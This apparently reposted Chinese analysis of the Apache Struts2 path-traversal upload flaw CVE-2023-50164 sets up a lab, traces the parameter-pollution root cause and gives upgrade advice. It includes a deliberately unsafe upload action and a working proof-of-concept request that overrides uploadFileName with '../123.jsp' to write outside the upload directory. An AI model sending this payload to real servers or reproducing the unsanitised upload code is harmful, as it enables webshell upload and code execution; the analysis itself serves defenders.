Apache Struts2 路径穿越文件上传漏洞分析(cve-2023-50164)

admin 2024年10月29日22:04:03评论41 views字数 4627阅读15分25秒阅读模式

一、漏洞描述

1、概述

Apache Struts 是一个开源用于构建企业级Java Web应用的MVC框架。2023年12月,官方披露 CVE-2023-50164 Apache Struts 文件上传漏洞。

攻击者可以通过污染相关上传参数导致目录遍历,若在具体代码环境中允许上传危险后缀文件(例如 jsp文件),则攻击者可能结合该目录遍历漏洞,可能导致上传webshell 至可解析目录,从而执行任意代码。

2、影响范围

2.0.0 <= Apache Struts <= 2.3.37

2.5.0 <= Apache Struts <= 2.5.32

6.0.0 <= Apache Struts <= 6.3.0

二、环境搭建

1、Stuts版本:Struts 6.3.0

2、搭建工具:IDEA2024

3、搭建过程

新建项目:

Apache Struts2 路径穿越文件上传漏洞分析(cve-2023-50164)

Apache Struts2 路径穿越文件上传漏洞分析(cve-2023-50164)

项目创建成功后在POM.xml中引入struts2依赖项:

</dependency>
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>6.3.0</version>
</dependency>

定义一个上传功能的UploadAction类:

package com.env.struts2;

import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext;
import java.io.*;

public class UploadAction extends ActionSupport {
private static final long serialVersionUID = 1L;
private File upload;
public File getUpload() {
return upload;
}
public void setUpload(File upload) {
this.upload = upload;
}
public String getUploadContentType() {
return uploadContentType;
}
public void setUploadContentType(String uploadContentType) {
this.uploadContentType = uploadContentType;
}
public String getUploadFileName() {
return uploadFileName;
}
public void setUploadFileName(String uploadFileName) {
this.uploadFileName = uploadFileName;
}
public String doUpload() {
String path = ServletActionContext.getServletContext().getRealPath("/")+"upload";
String realPath = path + File.separator +uploadFileName;
try {
FileUtils.copyFile(upload, new File(realPath));
} catch (Exception e) {
e.printStackTrace();
}
return SUCCESS;
}
}

在资源文件夹下新建struts.xml定义Acation和代码之间的映射关系:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="upload" extends="struts-default">
<action name="upload" class="com.env.struts2.UploadAction" method="doUpload">
<result name="success" type="">/index.jsp</result>
</action>
</package>
</struts>

web.xml中配置外部XML添加Filter:

<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>*.action</url-pattern>
</filter-mapping>

至此环境搭建完成。

四、漏洞复现

新建一个HTTP请求正常上传文件:

POST /struts2_war_exploded/upload.action HTTP/1.1
Host: 127.0.0.1:80
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 188
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

test
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN

显示上传成功:

Apache Struts2 路径穿越文件上传漏洞分析(cve-2023-50164)

使用构造POC上传文件:

POST /struts2_war_exploded/upload.action HTTP/1.1
Host: 127.0.0.1:80
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 188
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

aaaaa
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="uploadFileName";
Content-Type: text/plain

../123.jsp
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

成功实现目录穿越,恶意用户可上传webshell实现任意代码执行:

Apache Struts2 路径穿越文件上传漏洞分析(cve-2023-50164)

五、漏洞分析

通过Poc上传测试文件,这里通过debug查看文件上传的处理流程,发现FileUploadInterceptor将获取HTTP请求参数的文件名通过multiWrapper.getFileNames处理:

Apache Struts2 路径穿越文件上传漏洞分析(cve-2023-50164)

然后将文件名list转化成数组字符串后由org.apache.struts2.dispatcher.multipart.AbstractMultiPartRequest#getCanonicalName做文件名相关处理(这里做的是目录穿越测试,实现拦截,则这里是没有漏洞成因的):

Apache Struts2 路径穿越文件上传漏洞分析(cve-2023-50164)

继续debug可以看到过滤完文件名之后定义contentTypeNamefileName的命名规范(这里限制了定义的UploadAction中的命名格式需要和规范保持一致),然后将上传文件相关参数以键值形式组合在一起存放到Action上下文中,即org.apache.struts2.dispatcher.HttpParameters对象当中:

Apache Struts2 路径穿越文件上传漏洞分析(cve-2023-50164)

Apache Struts2 路径穿越文件上传漏洞分析(cve-2023-50164)

继续debug查看Action中的参数被反射到Action变量过程,在com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept中调用了com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters做参数绑定,且存储结构类型为TreeMap:

Apache Struts2 路径穿越文件上传漏洞分析(cve-2023-50164)

(注:Map存储中的TreeMap类型在对键进行遍历的时候Ascii码在前先比Ascii码在后的先遍历到,这里也就为为后面的变量覆盖造成参数污染留下隐患。)

继续debug至ognl.OgnlRuntime#getDeclaredMethods方法中,发现通过capitalizeBeanPropertyName将属性名转化处理:

Apache Struts2 路径穿越文件上传漏洞分析(cve-2023-50164)

步入capitalizeBeanPropertyName查看这个函数可知如果属性第一个字符小写第二个大写直接返回,否则返回时将第一个字母大写(实例化时会将Poc构造的属性名返回成UploadfileName):

Apache Struts2 路径穿越文件上传漏洞分析(cve-2023-50164)

debug至ognl.OgnlRuntime#addIfAccessor,它用来判断方法名是否以特定规则。例以大写属性名结尾,即:UploadFileName结尾和是否以set或者get开头(这里限制构造请求参数),符合则就会将方法添加result.list中:

Apache Struts2 路径穿越文件上传漏洞分析(cve-2023-50164)

至此就可以完成注入,造成参数污染,形成变量覆盖,导致漏洞形成。

六、漏洞修复建议。

1、升级至Struts 2.5.33或Struts 6.3.0.2或更高版本。

原文始发于微信公众号(长风实验室):Apache Struts2 路径穿越文件上传漏洞分析(cve-2023-50164)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日22:04:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Struts2 路径穿越文件上传漏洞分析(cve-2023-50164)http://cn-sec.com/archives/3330337.html

发表评论

匿名网友 填写信息